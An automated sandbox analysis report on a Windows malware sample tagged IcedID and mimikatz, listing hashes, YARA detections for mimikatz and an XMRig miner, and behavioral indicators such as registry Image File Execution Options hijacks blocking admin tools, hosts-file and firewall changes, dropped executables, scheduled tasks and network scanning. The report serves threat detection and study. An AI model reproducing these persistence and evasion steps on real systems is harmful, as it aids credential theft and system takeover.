Analysis
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max time kernel
150s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
14/04/2024, 20:22
Behavioral task
behavioral1
Sample
2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe
Resource
win7-20240221-en
General
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Target
2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe
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Size
7.1MB
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MD5
150f5484ca080ba6e36ac694d11e7f40
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SHA1
702d30e0d339721e6929bac60ab6c183b4b3d959
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SHA256
c636cdd5c3b2799203d93aec2e3e755cb0c5f5c6510ab866b9023479454aa3b9
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SHA512
57e293cd1013b2782890848de8d015553134d1d9e106db28b1473864746f5b28a8a33ae1a152688c39fafc4909317c4bfaf350875a7078e80b8747d24e6f2508
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SSDEEP
196608:ylTPemknGzwHdOgEPHd9BYX/nivPlTXTYP:a3jz0E52/iv1
Malware Config
Signatures
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Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
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Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2748 created 272 2748 gkzutth.exe 17 -
Contacts a large (24291) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
resource yara_rule behavioral1/memory/2740-135-0x000000013F8A0000-0x000000013F98E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore behavioral1/memory/2740-136-0x000000013F8A0000-0x000000013F98E000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore -
UPX dump on OEP (original entry point) 32 IoCs
resource yara_rule behavioral1/memory/2880-0-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x000b000000015c99-4.dat UPX behavioral1/memory/2504-8-0x0000000000400000-0x0000000000A9B000-memory.dmp UPX behavioral1/files/0x00050000000195b5-128.dat UPX behavioral1/memory/2740-135-0x000000013F8A0000-0x000000013F98E000-memory.dmp UPX behavioral1/memory/1276-133-0x00000000003D0000-0x00000000004BE000-memory.dmp UPX behavioral1/memory/2740-136-0x000000013F8A0000-0x000000013F98E000-memory.dmp UPX behavioral1/files/0x0005000000019640-138.dat UPX behavioral1/memory/2636-142-0x000000013F270000-0x000000013F2CB000-memory.dmp UPX behavioral1/files/0x000500000001975a-143.dat UPX behavioral1/memory/2748-146-0x0000000002A40000-0x0000000002B60000-memory.dmp UPX behavioral1/memory/2764-147-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2636-155-0x000000013F270000-0x000000013F2CB000-memory.dmp UPX behavioral1/memory/1620-178-0x000000013FE40000-0x000000013FE9B000-memory.dmp UPX behavioral1/memory/1620-180-0x000000013FE40000-0x000000013FE9B000-memory.dmp UPX behavioral1/memory/2764-182-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2820-187-0x000000013FED0000-0x000000013FF2B000-memory.dmp UPX behavioral1/memory/2820-189-0x000000013FED0000-0x000000013FF2B000-memory.dmp UPX behavioral1/memory/2656-197-0x000000013F850000-0x000000013F8AB000-memory.dmp UPX behavioral1/memory/2764-199-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2656-201-0x000000013F850000-0x000000013F8AB000-memory.dmp UPX behavioral1/memory/2764-208-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/1616-209-0x000000013F3F0000-0x000000013F44B000-memory.dmp UPX behavioral1/memory/1616-211-0x000000013F3F0000-0x000000013F44B000-memory.dmp UPX behavioral1/memory/2764-213-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2764-214-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2764-220-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2764-235-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2764-236-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2764-237-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2764-239-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX behavioral1/memory/2764-241-0x000000013FD20000-0x000000013FE40000-memory.dmp UPX -
XMRig Miner payload 11 IoCs
resource yara_rule behavioral1/memory/2764-182-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-199-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-208-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-213-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-214-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-220-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-235-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-236-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-237-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-239-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig behavioral1/memory/2764-241-0x000000013FD20000-0x000000013FE40000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 7 IoCs
resource yara_rule behavioral1/memory/2880-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x000b000000015c99-4.dat mimikatz behavioral1/memory/2504-8-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/1276-134-0x00000000003D0000-0x00000000004BE000-memory.dmp mimikatz behavioral1/memory/2740-135-0x000000013F8A0000-0x000000013F98E000-memory.dmp mimikatz behavioral1/memory/2740-136-0x000000013F8A0000-0x000000013F98E000-memory.dmp mimikatz behavioral1/memory/2748-198-0x0000000002A40000-0x0000000002B60000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts gkzutth.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts gkzutth.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 1228 netsh.exe 2996 netsh.exe -
Sets file execution options in registry 2 TTPs 40 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gkzutth.exe -
Executes dropped EXE 16 IoCs
pid Process 2504 gkzutth.exe 2748 gkzutth.exe 1916 wpcap.exe 540 avpjtmhfs.exe 2740 vfshost.exe 2636 flvstzhft.exe 2764 tusert.exe 2068 xohudmc.exe 2740 kkqiuy.exe 1620 flvstzhft.exe 2820 flvstzhft.exe 2656 flvstzhft.exe 1616 flvstzhft.exe 336 gkzutth.exe 2588 ierfsbrfg.exe 3296 gkzutth.exe -
Loads dropped DLL 22 IoCs
pid Process 2196 cmd.exe 2196 cmd.exe 2796 cmd.exe 1916 wpcap.exe 1916 wpcap.exe 1916 wpcap.exe 1916 wpcap.exe 1916 wpcap.exe 3048 cmd.exe 540 avpjtmhfs.exe 540 avpjtmhfs.exe 1276 cmd.exe 1276 cmd.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2748 gkzutth.exe 2232 cmd.exe -
resource yara_rule behavioral1/files/0x00050000000195b5-128.dat upx behavioral1/memory/2740-135-0x000000013F8A0000-0x000000013F98E000-memory.dmp upx behavioral1/memory/2740-136-0x000000013F8A0000-0x000000013F98E000-memory.dmp upx behavioral1/files/0x0005000000019640-138.dat upx behavioral1/memory/2636-142-0x000000013F270000-0x000000013F2CB000-memory.dmp upx behavioral1/files/0x000500000001975a-143.dat upx behavioral1/memory/2748-146-0x0000000002A40000-0x0000000002B60000-memory.dmp upx behavioral1/memory/2764-147-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2636-155-0x000000013F270000-0x000000013F2CB000-memory.dmp upx behavioral1/memory/1620-178-0x000000013FE40000-0x000000013FE9B000-memory.dmp upx behavioral1/memory/1620-180-0x000000013FE40000-0x000000013FE9B000-memory.dmp upx behavioral1/memory/2764-182-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2748-186-0x0000000001990000-0x00000000019EB000-memory.dmp upx behavioral1/memory/2820-187-0x000000013FED0000-0x000000013FF2B000-memory.dmp upx behavioral1/memory/2820-189-0x000000013FED0000-0x000000013FF2B000-memory.dmp upx behavioral1/memory/2656-197-0x000000013F850000-0x000000013F8AB000-memory.dmp upx behavioral1/memory/2764-199-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2656-201-0x000000013F850000-0x000000013F8AB000-memory.dmp upx behavioral1/memory/2764-208-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/1616-209-0x000000013F3F0000-0x000000013F44B000-memory.dmp upx behavioral1/memory/1616-211-0x000000013F3F0000-0x000000013F44B000-memory.dmp upx behavioral1/memory/2764-213-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2764-214-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2764-220-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2764-235-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2764-236-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2764-237-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2764-239-0x000000013FD20000-0x000000013FE40000-memory.dmp upx behavioral1/memory/2764-241-0x000000013FD20000-0x000000013FE40000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 ifconfig.me 21 ifconfig.me -
Creates a Windows Service
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Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7ADF8A57305EF056A6A6A947A1CF4C7A gkzutth.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7ADF8A57305EF056A6A6A947A1CF4C7A gkzutth.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat gkzutth.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\kkqiuy.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 gkzutth.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File opened for modification C:\Windows\SysWOW64\kkqiuy.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 gkzutth.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File opened for modification C:\Windows\tjbrgizie\ptescsiac\Packet.dll gkzutth.exe File created C:\Windows\tjbrgizie\Corporate\vfshost.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\coli-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\vimpcsvc.xml gkzutth.exe File created C:\Windows\isugpkis\spoolsrv.xml gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\vimpcsvc.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\tibe-2.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\ucl.dll gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\ip.txt gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\ssleay32.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\trfo-2.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\xdvl-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\spoolsrv.exe gkzutth.exe File opened for modification C:\Windows\isugpkis\docmicfg.xml gkzutth.exe File created C:\Windows\tjbrgizie\Corporate\mimilib.dll gkzutth.exe File opened for modification C:\Windows\tjbrgizie\Corporate\log.txt cmd.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\libeay32.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\spoolsrv.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\spoolsrv.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\svschost.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\AppCapture64.dll gkzutth.exe File opened for modification C:\Windows\isugpkis\gkzutth.exe 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\trch-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\schoedcl.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\exma-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\svschost.xml gkzutth.exe File created C:\Windows\isugpkis\svschost.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\vimpcsvc.xml gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\scan.bat gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\wpcap.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\libxml2.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\tucl-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\docmicfg.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\vimpcsvc.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\crli-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\docmicfg.xml gkzutth.exe File created C:\Windows\isugpkis\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\Packet.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\cnli-1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\docmicfg.exe gkzutth.exe File created C:\Windows\isugpkis\vimpcsvc.xml gkzutth.exe File opened for modification C:\Windows\isugpkis\spoolsrv.xml gkzutth.exe File created C:\Windows\tjbrgizie\upbdrjv\swrpwe.exe gkzutth.exe File created C:\Windows\ime\gkzutth.exe gkzutth.exe File opened for modification C:\Windows\tjbrgizie\ptescsiac\Result.txt ierfsbrfg.exe File created C:\Windows\isugpkis\gkzutth.exe 2024-04-14_150f5484ca080ba6e36ac694d11e7f40_hacktools_icedid_mimikatz.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\posh-0.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\svschost.exe gkzutth.exe File opened for modification C:\Windows\isugpkis\schoedcl.xml gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\zlib1.dll gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\Shellcode.ini gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\AppCapture32.dll gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\wpcap.dll gkzutth.exe File created C:\Windows\tjbrgizie\ptescsiac\ierfsbrfg.exe gkzutth.exe File created C:\Windows\tjbrgizie\UnattendGC\specials\svschost.xml gkzutth.exe File created C:\Windows\isugpkis\docmicfg.xml gkzutth.exe File created C:\Windows\tjbrgizie\Corporate\mimidrv.sys gkzutth.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1564 sc.exe 1292 sc.exe 1780 sc.exe 788 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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NSIS installer 3 IoCs
resource yara_rule behavioral1/files/0x000b000000015c99-4.dat nsis_installer_2 behavioral1/files/0x00080000000165b8-14.dat nsis_installer_1 behavioral1/files/0x00080000000165b8-14.dat nsis_installer_2 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2848 schtasks.exe 368 schtasks.exe 2896 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\7a-3e-38-10-b1-59\WpadDecision = "0" gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA gkzutth.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\7a-3e-38-10-b1-59\WpadDecisionReason = "1" gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{38157B11-74BD-4C59-A8C0-F8C29E75C017}\WpadDecisionTime = e0d42b83a98eda01 gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed gkzutth.exe Key created 